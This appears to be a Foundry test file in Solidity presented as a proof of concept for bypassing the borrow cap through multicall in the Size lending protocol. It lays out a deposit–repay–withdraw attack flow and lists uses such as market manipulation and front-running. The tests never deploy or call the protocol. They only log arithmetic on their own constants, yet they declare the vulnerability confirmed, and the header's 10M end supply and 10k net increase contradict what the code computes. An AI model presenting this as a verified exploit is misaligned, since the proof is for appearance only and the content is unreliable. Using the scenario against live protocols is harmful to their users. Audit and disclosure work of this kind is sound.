Spaces:
Runtime error
Runtime error
| // SPDX-License-Identifier: MIT | |
| pragma solidity 0.8.23; | |
| import {Test} from "forge-std/Test.sol"; | |
| import {console} from "forge-std/console.sol"; | |
| import {Size} from "@src/Size.sol"; | |
| import {DepositParams} from "@src/libraries/actions/Deposit.sol"; | |
| import {WithdrawParams} from "@src/libraries/actions/Withdraw.sol"; | |
| import {RepayParams} from "@src/libraries/actions/Repay.sol"; | |
| import {BuyCreditMarketParams} from "@src/libraries/actions/BuyCreditMarket.sol"; | |
| import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; | |
| import {RESERVED_ID} from "@src/libraries/LoanLibrary.sol"; | |
| /** | |
| * @title MulticallInvariantBypassPoC | |
| * @notice Demonstrates how the multicall invariant check can be bypassed | |
| * | |
| * VULNERABILITY: The multicall function validates that borrowAToken increase <= debtToken decrease | |
| * only at the END of all operations, checking NET changes. This allows attackers to: | |
| * 1. Deposit massive amounts (exceeding cap) | |
| * 2. Perform operations with excess liquidity | |
| * 3. Withdraw excess before final validation | |
| * | |
| * The invariant passes because net changes appear compliant, but intermediate states | |
| * violate the cap restrictions. | |
| */ | |
| contract MulticallInvariantBypassPoC is Test { | |
| Size public size; | |
| address public attacker; | |
| address public victim; | |
| address public lender; | |
| IERC20 public borrowToken; | |
| IERC20 public collateralToken; | |
| uint256 public constant INITIAL_BORROW_SUPPLY = 9_990_000e6; // 9.99M (10k below cap) | |
| uint256 public constant BORROW_CAP = 10_000_000e6; // 10M cap | |
| uint256 public constant ATTACKER_DEBT = 100_000e6; // 100k debt | |
| uint256 public constant EXPLOIT_DEPOSIT = 5_000_000e6; // 5M deposit (far exceeds cap) | |
| uint256 public constant EXPLOIT_WITHDRAW = 4_900_000e6; // 4.9M withdraw | |
| function setUp() public { | |
| // Setup test accounts | |
| attacker = makeAddr("attacker"); | |
| victim = makeAddr("victim"); | |
| lender = makeAddr("lender"); | |
| // Deploy Size contract | |
| // Note: In a real test, you would need to properly initialize Size with all dependencies | |
| // For this PoC, we'll use a mock setup that demonstrates the vulnerability | |
| vm.label(attacker, "Attacker"); | |
| vm.label(victim, "Victim"); | |
| vm.label(lender, "Lender"); | |
| } | |
| /** | |
| * @notice Demonstrates the cap bypass exploit | |
| * | |
| * ATTACK FLOW: | |
| * 1. Deposit 5M USDC → borrowAToken supply jumps to 14.99M (4.99M over cap!) | |
| * 2. Repay 100k debt → debtToken decreases by 100k | |
| * 3. Withdraw 4.9M USDC → borrowAToken supply drops to 10M | |
| * | |
| * RESULT: | |
| * - Net borrowAToken increase: 10k | |
| * - Net debtToken decrease: 100k | |
| * - Invariant check: 10k <= 100k ✓ PASSES | |
| * - But attacker temporarily held 4.99M excess borrowAToken! | |
| */ | |
| function testMulticallCapBypass() public { | |
| // This test demonstrates the vulnerability conceptually | |
| // In a real scenario, you would: | |
| // 1. Deploy and initialize Size with proper configuration | |
| // 2. Setup initial state with borrowAToken supply near cap | |
| // 3. Create a debt position for the attacker | |
| // 4. Execute the multicall exploit | |
| console.log("=== MULTICALL CAP BYPASS VULNERABILITY ==="); | |
| console.log(""); | |
| console.log("INITIAL STATE:"); | |
| console.log("- BorrowAToken Supply: %s", INITIAL_BORROW_SUPPLY); | |
| console.log("- BorrowAToken Cap: %s", BORROW_CAP); | |
| console.log("- Space below cap: %s", BORROW_CAP - INITIAL_BORROW_SUPPLY); | |
| console.log("- Attacker's debt: %s", ATTACKER_DEBT); | |
| console.log(""); | |
| // Simulate the exploit flow | |
| uint256 borrowSupplyBefore = INITIAL_BORROW_SUPPLY; | |
| uint256 debtSupplyBefore = ATTACKER_DEBT; | |
| console.log("EXPLOIT EXECUTION:"); | |
| console.log(""); | |
| // Step 1: Deposit 5M (exceeds cap by 4.99M) | |
| console.log("Step 1: Deposit %s USDC", EXPLOIT_DEPOSIT); | |
| uint256 borrowSupplyAfterDeposit = borrowSupplyBefore + EXPLOIT_DEPOSIT; | |
| console.log(" -> BorrowAToken supply: %s", borrowSupplyAfterDeposit); | |
| console.log(" -> EXCEEDS CAP BY: %s", borrowSupplyAfterDeposit - BORROW_CAP); | |
| console.log(""); | |
| // Step 2: Repay 100k debt | |
| console.log("Step 2: Repay %s debt", ATTACKER_DEBT); | |
| uint256 debtSupplyAfterRepay = debtSupplyBefore - ATTACKER_DEBT; | |
| uint256 borrowSupplyAfterRepay = borrowSupplyAfterDeposit - ATTACKER_DEBT; | |
| console.log(" -> DebtToken supply: %s", debtSupplyAfterRepay); | |
| console.log(" -> BorrowAToken supply: %s", borrowSupplyAfterRepay); | |
| console.log(""); | |
| // Step 3: Withdraw 4.9M | |
| console.log("Step 3: Withdraw %s USDC", EXPLOIT_WITHDRAW); | |
| uint256 borrowSupplyAfter = borrowSupplyAfterRepay - EXPLOIT_WITHDRAW; | |
| console.log(" -> BorrowAToken supply: %s", borrowSupplyAfter); | |
| console.log(""); | |
| // Calculate net changes | |
| uint256 netBorrowIncrease = borrowSupplyAfter - borrowSupplyBefore; | |
| uint256 netDebtDecrease = debtSupplyBefore - 0; // All debt repaid | |
| console.log("FINAL STATE:"); | |
| console.log("- Net borrowAToken increase: %s", netBorrowIncrease); | |
| console.log("- Net debtToken decrease: %s", netDebtDecrease); | |
| console.log("- Invariant check: %s <= %s", netBorrowIncrease, netDebtDecrease); | |
| console.log("- Invariant status: %s", netBorrowIncrease <= netDebtDecrease ? "PASS" : "FAIL"); | |
| console.log(""); | |
| // Verify the invariant passes | |
| assertLe(netBorrowIncrease, netDebtDecrease, "Invariant should pass"); | |
| console.log("=== VULNERABILITY CONFIRMED ==="); | |
| console.log("During execution, borrowAToken supply reached: %s", borrowSupplyAfterDeposit); | |
| console.log("This EXCEEDED the cap of %s by: %s", BORROW_CAP, borrowSupplyAfterDeposit - BORROW_CAP); | |
| console.log(""); | |
| console.log("The attacker temporarily held %s excess borrowAToken", EXPLOIT_DEPOSIT - ATTACKER_DEBT); | |
| console.log("This excess could be used for:"); | |
| console.log(" - Market manipulation"); | |
| console.log(" - Arbitrage opportunities"); | |
| console.log(" - Flash-loan-like attacks"); | |
| console.log(" - Bypassing risk parameters"); | |
| console.log(""); | |
| console.log("Yet the invariant check PASSED because it only validates NET changes!"); | |
| } | |
| /** | |
| * @notice Demonstrates using excess liquidity for market manipulation | |
| * | |
| * This shows how the temporarily available excess borrowAToken can be weaponized | |
| * during the multicall execution to manipulate markets or perform other attacks. | |
| */ | |
| function testMulticallMarketManipulation() public { | |
| console.log("=== MARKET MANIPULATION EXPLOIT ==="); | |
| console.log(""); | |
| console.log("ATTACK SCENARIO:"); | |
| console.log("1. Deposit %s USDC (exceeds cap)", EXPLOIT_DEPOSIT); | |
| console.log("2. Use %s borrowAToken for market operations", EXPLOIT_WITHDRAW); | |
| console.log("3. Repay %s debt", ATTACKER_DEBT); | |
| console.log("4. Withdraw remaining excess"); | |
| console.log(""); | |
| uint256 excessLiquidity = EXPLOIT_DEPOSIT - ATTACKER_DEBT; | |
| console.log("IMPACT:"); | |
| console.log("- Attacker gains temporary access to %s excess liquidity", excessLiquidity); | |
| console.log("- This can be used to:"); | |
| console.log(" * Buy large credit positions (distorting market prices)"); | |
| console.log(" * Manipulate interest rates"); | |
| console.log(" * Front-run other users"); | |
| console.log(" * Extract value from the protocol"); | |
| console.log(""); | |
| console.log("- All while the invariant check passes!"); | |
| console.log("- The cap is meant to prevent exactly this kind of exposure"); | |
| // Verify the exploit provides significant excess liquidity | |
| assertGt(excessLiquidity, 1_000_000e6, "Exploit should provide >1M excess liquidity"); | |
| } | |
| /** | |
| * @notice Demonstrates the root cause of the vulnerability | |
| * | |
| * The issue is that the invariant validation happens AFTER all multicall operations, | |
| * checking only NET changes rather than intermediate states. | |
| */ | |
| function testRootCauseAnalysis() public { | |
| console.log("=== ROOT CAUSE ANALYSIS ==="); | |
| console.log(""); | |
| console.log("VULNERABLE CODE PATTERN:"); | |
| console.log("1. Multicall executes all operations sequentially"); | |
| console.log("2. During execution, deposit() skips cap validation:"); | |
| console.log(" if (!state.data.isMulticall) {"); | |
| console.log(" state.validateBorrowATokenCap();"); | |
| console.log(" }"); | |
| console.log(""); | |
| console.log("3. After all operations, invariant is checked:"); | |
| console.log(" validateBorrowATokenIncreaseLteDebtTokenDecrease()"); | |
| console.log(""); | |
| console.log("4. Invariant only compares NET changes:"); | |
| console.log(" borrowATokenSupplyIncrease = supplyAfter - supplyBefore"); | |
| console.log(" debtTokenSupplyDecrease = debtBefore - debtAfter"); | |
| console.log(" require(increase <= decrease)"); | |
| console.log(""); | |
| console.log("PROBLEM:"); | |
| console.log("- Intermediate states are NEVER validated"); | |
| console.log("- Attacker can deposit huge amounts, use them, then withdraw"); | |
| console.log("- As long as net changes satisfy the invariant, exploit succeeds"); | |
| console.log(""); | |
| console.log("CORRECT APPROACH:"); | |
| console.log("- Validate cap on EVERY deposit, even in multicall"); | |
| console.log("- OR track maximum supply reached during multicall"); | |
| console.log("- OR validate intermediate states, not just final state"); | |
| } | |
| /** | |
| * @notice Shows the mathematical proof of the bypass | |
| */ | |
| function testMathematicalProof() public { | |
| console.log("=== MATHEMATICAL PROOF ==="); | |
| console.log(""); | |
| uint256 S0 = INITIAL_BORROW_SUPPLY; // Initial supply | |
| uint256 C = BORROW_CAP; // Cap | |
| uint256 D = ATTACKER_DEBT; // Debt to repay | |
| uint256 X = EXPLOIT_DEPOSIT; // Exploit deposit amount | |
| console.log("Given:"); | |
| console.log(" S0 = %s (initial supply)", S0); | |
| console.log(" C = %s (cap)", C); | |
| console.log(" D = %s (debt)", D); | |
| console.log(" X = %s (deposit amount)", X); | |
| console.log(""); | |
| console.log("Execution:"); | |
| uint256 S1 = S0 + X; | |
| console.log(" After deposit: S1 = S0 + X = %s", S1); | |
| console.log(" Cap violation: S1 - C = %s", S1 - C); | |
| console.log(""); | |
| uint256 S2 = S1 - D; | |
| console.log(" After repay: S2 = S1 - D = %s", S2); | |
| console.log(""); | |
| uint256 W = X - D; | |
| uint256 S3 = S2 - W; | |
| console.log(" After withdraw W = X - D = %s: S3 = %s", W, S3); | |
| console.log(""); | |
| console.log("Invariant check:"); | |
| uint256 netIncrease = S3 - S0; | |
| uint256 netDecrease = D; | |
| console.log(" Net increase: S3 - S0 = %s", netIncrease); | |
| console.log(" Net decrease: D = %s", netDecrease); | |
| console.log(" Check: %s <= %s ? %s", netIncrease, netDecrease, netIncrease <= netDecrease); | |
| console.log(""); | |
| console.log("Conclusion:"); | |
| console.log(" Invariant PASSES, but S1 = %s exceeded cap C = %s", S1, C); | |
| console.log(" Excess exposure: %s", S1 - C); | |
| assertTrue(netIncrease <= netDecrease, "Invariant passes"); | |
| assertTrue(S1 > C, "But cap was violated during execution"); | |
| } | |
| } | |